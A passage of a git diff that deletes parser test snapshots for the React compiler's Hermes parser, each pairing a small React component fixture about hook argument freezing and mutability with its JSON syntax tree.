-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/hooks-freeze-arguments.js
----
-Input:
-function Component() {
-  const a = [];
-  useFreeze(a); // should freeze
-  useFreeze(a); // should be readonly
-  call(a); // should be readonly
-  return a;
-}
-
-function useFreeze(x) {}
-function call(x) {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    35,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              38
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  41,
-                  50
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                41,
-                53
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              41,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  83
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    84,
-                    85
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                74,
-                86
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              74,
-              87
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "call",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  112,
-                  116
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                112,
-                119
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              112,
-              120
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                152,
-                153
-              ]
-            },
-            "loc": null,
-            "range": [
-              145,
-              154
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          156
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        156
-      ],
-      "loc": null,
-      "range": [
-        0,
-        156
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFreeze",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          167,
-          176
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            177,
-            178
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          180,
-          182
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        158,
-        182
-      ],
-      "loc": null,
-      "range": [
-        158,
-        182
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "call",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          192,
-          196
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            197,
-            198
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          200,
-          202
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        183,
-        202
-      ],
-      "loc": null,
-      "range": [
-        183,
-        202
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    202
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hooks-freeze-possibly-mutable-arguments.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hooks-freeze-possibly-mutable-arguments.js.snap
deleted file mode 100644
index 317577aff52a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@hooks-freeze-possibly-mutable-arguments.js.snap
+++ /dev/null
@@ -1,570 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/hooks-freeze-possibly-mutable-arguments.js
----
-Input:
-function Component(props) {
-  const cond = props.cond;
-  const x = props.x;
-  let a;
-  if (cond) {
-    a = x;
-  } else {
-    a = [];
-  }
-  useFreeze(a); // should freeze, value *may* be mutable
-  useFreeze(a); // should be readonly
-  call(a); // should be readonly
-  return a;
-}
-
-function useFreeze(x) {}
-function call(x) {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      48
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "cond",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      49,
-                      53
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    43,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              54
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    64
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      72
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      73,
-                      74
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    67,
-                    74
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  63,
-                  74
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              57,
-              75
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  82,
-                  83
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              78,
-              84
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "cond",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                91,
-                95
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        103,
-                        104
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        107,
-                        108
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      103,
-                      108
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    109
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                97,
-                113
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        125,
-                        126
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        129,
-                        131
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      125,
-                      131
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    125,
-                    132
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                119,
-                136
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              136
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  139,
-                  148
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    149,
-                    150
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                139,
-                151
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              139,
-              152
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  196,
-                  205
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    206,
-                    207
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                196,
-                208
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              196,
-              209
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "call",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  234,
-                  238
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    239,
-                    240
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                234,
-                241
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              234,
-              242
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                274,
-                275
-              ]
-            },
-            "loc": null,
-            "range": [
-              267,
-              276
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          278
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        278
-      ],
-      "loc": null,
-      "range": [
-        0,
-        278
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFreeze",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          289,
-          298
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            299,
-            300
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          302,
-          304
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        280,
-        304
-      ],
-      "loc": null,
-      "range": [
-        280,
-        304
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "call",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          314,
-          318
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            319,
-            320
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          322,
-          324
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        305,
-        324
-      ],
-      "loc": null,
-      "range": [
-        305,
-        324
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    324
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@immutable-hooks.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@immutable-hooks.js.snap
deleted file mode 100644
index c18369a05305..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@immutable-hooks.js.snap
+++ /dev/null
@@ -1,260 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/immutable-hooks.js
----
-Input:
-// @enableAssumeHooksFollowRulesOfReact true
-function Component(props) {
-  const x = {};
-  // In enableAssumeHooksFollowRulesOfReact mode hooks freeze their inputs and return frozen values
-  const y = useFoo(x);
-  // Thus both x and y are frozen here, and x can be independently memoized
-  bar(x, y);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          54,
-          63
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            64,
-            69
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    82
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    85,
-                    87
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  81,
-                  87
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              75,
-              88
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    197,
-                    198
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFoo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      201,
-                      207
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        208,
-                        209
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    201,
-                    210
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  197,
-                  210
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              191,
-              211
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "bar",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  290,
-                  293
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    294,
-                    295
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    297,
-                    298
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                290,
-                299
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              290,
-              300
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    311,
-                    312
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    314,
-                    315
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                310,
-                316
-              ]
-            },
-            "loc": null,
-            "range": [
-              303,
-              317
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          71,
-          319
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        45,
-        319
-      ],
-      "loc": null,
-      "range": [
-        45,
-        319
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    45,
-    319
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inadvertent-mutability-readonly-class.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inadvertent-mutability-readonly-class.js.snap
deleted file mode 100644
index 4e9f35d0b08a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inadvertent-mutability-readonly-class.js.snap
+++ /dev/null
@@ -1,350 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-class.js
----
-Input:
-function Component(props) {
-  const env = useRelayEnvironment();
-  // Note: this is a class has no mutable methods, ie it always treats `this` as readonly
-  const mutator = new Mutator(env);
-
-  useOtherHook();
-
-  // `x` should be independently memoizeable, since foo(x, mutator) cannot mutate
-  // the mutator.
-  const x = {};
-  foo(x, mutator);
-  return x;
-}
-
-class Mutator {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "env",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRelayEnvironment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      42,
-                      61
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    42,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              64
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "mutator",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    163,
-                    170
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "Mutator",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      177,
-                      184
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "env",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        185,
-                        188
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    173,
-                    189
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  163,
-                  189
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              157,
-              190
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useOtherHook",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  194,
-                  206
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                194,
-                208
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              194,
-              209
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    319,
-                    320
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    323,
-                    325
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  319,
-                  325
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              313,
-              326
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  329,
-                  332
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    333,
-                    334
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "mutator",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    336,
-                    343
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                329,
-                344
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              329,
-              345
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                355,
-                356
-              ]
-            },
-            "loc": null,
-            "range": [
-              348,
-              357
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          359
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        359
-      ],
-      "loc": null,
-      "range": [
-        0,
-        359
-      ]
-    },
-    {
-      "type": "ClassDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Mutator",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          367,
-          374
-        ]
-      },
-      "superClass": null,
-      "body": {
-        "type": "ClassBody",
-        "body": [],
-        "loc": null,
-        "range": [
-          375,
-          377
-        ]
-      },
-      "loc": null,
-      "range": [
-        361,
-        377
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    377
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inadvertent-mutability-readonly-lambda.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inadvertent-mutability-readonly-lambda.js.snap
deleted file mode 100644
index 34939711ea68..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inadvertent-mutability-readonly-lambda.js.snap
+++ /dev/null
@@ -1,464 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-lambda.js
----
-Input:
-function Component(props) {
-  const [value, setValue] = useState(null);
-  // NOTE: this lambda does not capture any mutable values (only the state setter)
-  // and thus should be treated as readonly
-  const onChange = (e) => setValue((value) => value + e.target.value);
-
-  useOtherHook();
-
-  // x should be independently memoizeable, since foo(x, onChange) cannot modify onChange
-  const x = {};
-  foo(x, onChange);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "value",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        42
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setValue",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        44,
-                        52
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      64
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        65,
-                        69
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    70
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  70
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              71
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    207,
-                    215
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        219,
-                        220
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "setValue",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        225,
-                        233
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "ArrowFunctionExpression",
-                        "id": null,
-                        "params": [
-                          {
-                            "type": "Identifier",
-                            "name": "value",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              235,
-                              240
-                            ]
-                          }
-                        ],
-                        "body": {
-                          "type": "BinaryExpression",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "value",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              245,
-                              250
-                            ]
-                          },
-                          "operator": "+",
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "e",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  253,
-                                  254
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "target",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  255,
-                                  261
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                253,
-                                261
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "value",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                262,
-                                267
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              253,
-                              267
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            245,
-                            267
-                          ]
-                        },
-                        "generator": true,
-                        "async": false,
-                        "loc": null,
-                        "range": [
-                          234,
-                          267
-                        ],
-                        "expression": true,
-                        "loc": null,
-                        "range": [
-                          234,
-                          267
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      225,
-                      268
-                    ]
-                  },
